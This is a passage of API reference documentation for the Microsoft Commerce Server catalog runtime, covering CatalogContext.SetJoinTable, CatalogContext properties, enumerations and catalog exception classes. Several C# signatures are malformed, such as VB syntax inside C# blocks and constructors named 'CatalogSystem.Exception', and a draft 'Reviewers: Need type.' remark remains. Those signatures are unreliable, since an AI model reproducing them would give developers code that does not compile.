  • ProductDefinitionNames
  • CatalogSetCollection
  • ProductCatalog, Product, Category cached data

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.SetJoinTable (String, String, String, CatalogJoinType) Method (BCL)

Use this method to set the join table information. The join information is in effect for the lifetime of the CatalogContext object.

For a list of the methods that support the JoinTable feature, see Code to Join an External Table to Product Recordsets.

[Visual Basic .NET]
Public Sub SetJoinTable( _
  ByVal targetTableName As System.String, _
  ByVal sourceJoinKey As System.String, _
  ByVal targetJoinKey As System.String, _
  ByVal joinType As CatalogJoinType _
)
[C#]
public void SetJoinTable(
  System.String targetTableName,
  System.String sourceJoinKey,
  System.String targetJoinKey,
  CatalogJoinType joinType
);

Parameters

[Visual Basic .NET]
targetTableName
The target table. May not be null.
sourceJoinKey
The source join key name. May not be null.
targetJoinKey
The target join key name. May not be null.
joinType
The CatalogJoinType enumeration value. See the Remarks section for possible values.
[C#]
targetTableName
The target table. May not be null.
sourceJoinKey
The source join key name. May not be null.
targetJoinKey
The target join key name. May not be null.
joinType
The CatalogJoinType enumeration value. See the Remarks section for possible values.

Return Value

This method returns void.

Remarks

When the default CatalogContext object is initialized it will set the join table information. You can use SetJoinTable method or the joinTable tag in the web.config file to change join table information. For more information about the joinTable tag, see catalog Tag.

You can create two CatalogContext objects and set different join tables for both of them using the SetJoinTable method. Joins can be performed with multiple tables, but only one table can be joined at a time. The API must be called several times to complete this operation. You cannot perform multiple joins using multiple tags in the web.config file, this can only be done using the SetJoinTable method. As long as the column names in the join table are not the same as the column names in the catalog tables you can specify columns from your join table in the targetJoinKey parameter.

If you pass a parameter containing spaces to the SetJoinTable method, that parameter must be enclosed by square brackets([]).

The following table lists the possible values for the CatalogJoinType enumeration.

Type | Description
InnerJoin | Returns rows only where the keys are equal.
OuterJoinLeft | Returns all rows in the Product Catalog System and matching rows in the target table.
OuterJoinRight | Returns matching rows in the Product Catalog System and all rows in the target table.
OuterJoinFull | Returns all rows in both tables.
NoJoin | Does not perform a join.

Throws an ArgumentNullException if any of the three string parameters are null. Throws a CommerceException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext Properties (BCL)

Public Instance Properties

Property | Description
CachingEnabled | True if caching is enabled, otherwise False.
CatalogNames | Gets the complete list of catalogs known to the Product Catalog System as an array of catalog names.
CatalogSets | Returns the (cached) CatalogSetCollection object that contains information about all the catalog sets in the Commerce Server Product Catalog System.
CategoryDefinitionNames | Gets the names of all category definitions defined in the Product Catalog System.
DebugContext | Gets the DebugContext object that this object is using to log trace messages, and so forth.
DefaultAnonymousCatalogSet | Returns the catalog collection for the configured DefaultAnonymous catalog set.
DefaultAuthenticatedCatalogSet | Returns the catalog collection for the configured DefaultAuthenticated catalog set.
ProductDefinitionNames | Gets the names of all product definitions defined in the Product Catalog System.
PropertyNames | Gets the names of all properties defined in the Product Catalog System.


CatalogContext.CachingEnabled Property (BCL)

Use the CachingEnabled property to determine whether caching is enabled.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CachingEnabled As System.Boolean
[C#]
public virtual System.Boolean CachingEnabled {get;}

Property Value

A Boolean value indicating whether caching is enabled. If True, caching is enabled, otherwise, caching is not enabled.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CatalogNames Property (BCL)

Use the CatalogNames property to get the complete list of catalogs known to the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CatalogNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CatalogNames {get;}

Property Value

A ReadOnlyStringCollection object containing all the catalogs in the Product Catalog System.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CatalogSets Property (BCL)

The CatalogSets property contains information about all the catalog sets in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CatalogSets As CatalogSetCollection
[C#]
public virtual CatalogSetCollection CatalogSets {get;}

Property Value

A cached CatalogSetCollection object that contains the properties of the catalog sets.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.CategoryDefinitionNames Property (BCL)

The CategoryDefinitionNames property contains the names of all category definitions in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property CategoryDefinitionNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection CategoryDefinitionNames {get;}

Property Value

A string collection that contains the names of all category definitions in the Product Catalog System.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DebugContext Property (BCL)

The DebugContext property contains the DebugContext object that is associated with this object.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

A DebugContext object that this object is using to log trace messages, and so forth.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DefaultAnonymousCatalogSet Property (BCL)

The DefaultAnonymousCatalogSet property returns the catalog collection for the configured DefaultAnonymous catalog set.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultAnonymousCatalogSet As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection DefaultAnonymousCatalogSet {get;}

Property Value

A ReadOnlyStringCollection containing the catalog collection for the configured DefaultAnonymous catalog set.

Reviewers: Need type.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.DefaultAuthenticatedCatalogSet Property (BCL)

The DefaultAuthenticatedCatalogSet property returns the catalog collection for the configured DefaultAuthenticated catalog set.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultAuthenticatedCatalogSet As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection DefaultAuthenticatedCatalogSet {get;}

Property Value

A ReadOnlyStringCollection containing the catalog collection for the configured DefaultAuthenticated catalog set.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.ProductDefinitionNames Property (BCL)

The ProductDefinitionNames property contains the names of all product definitions defined in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property ProductDefinitionNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection ProductDefinitionNames {get;}

Property Value

A ReadOnlyStringCollection object containing the names of all product definitions defined in the Product Catalog System.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogContext.PropertyNames Property (BCL)

The PropertyNames property contains the names of all properties defined in the Product Catalog System.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection PropertyNames {get;}

Property Value

A ReadOnlyStringCollection containing the names of the properties.

Remarks

The CatalogContext object caches this list since it is frequently used in Commerce Server sites. To refresh the list, call the Refresh method explicitly. Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogDataType Enumeration (BCL)

Enumeration of the valid data types for catalog properties.

Members

Member Name | Description
BigInteger | Indicates a BigInteger DataType.
Boolean | Indicates a Boolean DataType.
Currency | Indicates a Currency DataType.
DateTime | Indicates a DateTime DataType.
Double | Indicates a Double DataType.
Enumeration | Indicates an Enumeration DataType.
FilePath | Indicates a FilePath DataType.
Float | Indicates a Float DataType.
Integer | Indicates an Integer DataType.
Invalid | Indicates an Invalid DataType.
String | Indicates a String DataType.
Text | Indicates a Text DataType.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Class (BCL)

Base type for all exceptions raised by the Product Catalog System. This class inherits from the CommerceException and ISerilaizable classes.

Public Instance Constructor

Constructor | Description
CatalogException Constructor | Creates a new instance of the CatalogException class with the specified string message.
CatalogException Constructor(String) | Creates a new instance of the CatalogException class with the specified string message.
CatalogException Constructor(String, Exception) | Creates a new instance of the CatalogException class with the specified string message and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: MS.CS.Runtime.dll


CatalogException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogException Constructor | Creates a new instance of the CatalogException class.
CatalogException Constructor(String) | Creates a new instance of the CatalogException class with the specified string message.
CatalogException Constructor(String, Exception) | Creates a new instance of the CatalogException class with the specified string message.

Protected Instance Constructor

Constructor | Description
CatalogException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogException class with the specified serialization information and streaming context.


CatalogException Constructor (BCL)

Use this method to create a new instance of the CatalogException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CatalogException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CatalogException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Constructor (String) (BCL)

Use this method to create a new instance of the CatalogException class with the specified string message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CatalogException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
The message string. May be null.
[C#]
message
The message string. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CatalogException class with the specified string message This CatalogException instance wraps the System.exception instance inner.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CatalogSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
The message string. May be null.
inner
The inner exception. May be null.
[C#]
message
The message string. May be null.
inner
The inner exception. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.


CatalogException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogInitializationException Class (BCL)

This exception class is of the CatalogInitializationException type; it is thrown when there is a failure initializing the CatalogManager object.

This class inherits from the CatalogException class.

Public Instance Constructor

Constructor | Description
CatalogInitializationException Constructor | Creates a new instance of the CatalogInitialzationException class.
CatalogInitializationException Constructor(String) | Creates a new instance of the CatalogInitializationException class with the specified message.
CatalogInitializationException Constructor(String, Exception) | Creates a new instance of the CatalogInitializationException class with the specified connection string and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogInitializationException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CatalogInitializationException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
ConnectionString | Gets the connection string that was used to initialize the Product Catalog System.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogInitializationException Constructor | Creates a new instance of the CatalogInitialzationException class.
CatalogInitializationException Constructor(String) | Creates a new instance of the CatalogInitializationException class with the specified message.
CatalogInitializationException Constructor(String, Exception) | Creates a new instance of the CatalogInitializationException class with the specified connection string and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogInitializationException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the CatalogInitializationException class with the specified serialization information and streaming context.


CatalogInitializationException Constructor (BCL)

Use this method to create a new instance of the CatalogInitializationException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogInitializationException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CatalogInitializationException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CatalogInitializationException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (String) (BCL)

Use this method to create a new instance of the CatalogInitializationException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public CatalogInitializationException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CatalogInitializationException object.
[C#]
message
A System.String containing the message to include in the CatalogInitializationException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CatalogInitializationException class with the specified connection string and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal connectionString As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CatalogInitializationSystem.Exception(
  System.String connectionString,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
connectionString
A System.String that contains the connection string used to initialize the CatalogManager object. May be null.
inner
The inner System.Exception object.
[C#]
connectionString
A System.String that contains the connection string used to initialize the CatalogManager object. May be null.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogInitializationException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogInitializationException Properties (BCL)

Public Instance Properties

Property | Description
ConnectionString | Gets the connection string that was used to initialize the Product Catalog System.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogInitializationException.ConnectionString Property (BCL)

The ConnectionString property gets the connection string that was used to initialize the Product Catalog System.

Definition

[Visual Basic .NET]
Public ReadOnly Property ConnectionString As System.String
[C#]
public System.String ConnectionString {get;}

Property Value

A System.String that contains the connection string.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogJoinType Enumeration (BCL)

Enumeration used with the SetJoinTable method of the CatalogContext class to specify the type of join to use across the Product Catalog System.

Members

Member name | Description
InnerJoin | Indicates return only rows where the keys are equal.
NoJoin | Indicates do not perform a join. Using this field with the SetJoinTable method will disable an existing join established by a previous call to the SetJoinTable method.
OuterJoinFull | Indicates return all rows in both tables.
OuterJoinLeft | Indicates return all rows in the Product Catalog System and matching rows in the target table.
OuterJoinRight | Indicates return matching rows in the Product Catalog System and all rows in the target table.

Remarks

Inherits from System.Enum.

For more information, see SetJoinTable.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Class (BCL)

Exception thrown when the catalog is not found. This class inherits from the CatalogException class.

Public Instance Constructor

Constructor | Description
CatalogNotFoundException Constructor | Creates a new instance of the CatalogNotFoundException class.
CatalogNotFoundException Constructor(String) | Creates a new instance of the CatalogNotFoundException class with the specified catalog name.
CatalogNotFoundException Constructor(String, Exception) | Creates a new instance of the CatalogNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogNotFoundException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogNotFoundException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
CatalogName | Gets the catalog name.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CatalogNotFoundException Constructor | Creates a new instance of the CatalogNotFoundException class.
CatalogNotFoundException Constructor(String) | Creates a new instance of the CatalogNotFoundException class with the specified catalog name.
CatalogNotFoundException Constructor(String, Exception) | Creates a new instance of the CatalogNotFoundException class with the specified message and inner exception.

Protected Instance Constructor

Constructor | Description
CatalogNotFoundException(SerializationInfo, StreamingContext) | Creates a new instance of the CatalogNotFoundException class with the specified serialization information and streaming context.


CatalogNotFoundException Constructor (BCL)

Use this method to create a new instance of the CatalogNotFoundException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CatalogNotFoundException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CatalogNotFoundException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CatalogNotFoundException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (String) (BCL)

Use this constructor to create a new instance of the CatalogNotFoundException class with the specified catalog name.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String _
)
[C#]
public CatalogNotFoundException(
  System.String catalogName
);

Parameters

[Visual Basic .NET]
catalogName
A System.String that contains the catalog name.
[C#]
catalogName
A System.String that contains the catalog name.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Constructor (String, Exception) (BCL)

Use this constructor to create a new instance of the CatalogNotFoundException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CatalogNotFoundSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the CatalogNotFoundException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the CatalogNotFoundException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogNotFoundException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CatalogNotFoundException Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | Gets the catalog name.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CatalogNotFoundException.CatalogName Property (BCL)

The CatalogName property gets the catalog name.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogName As System.String
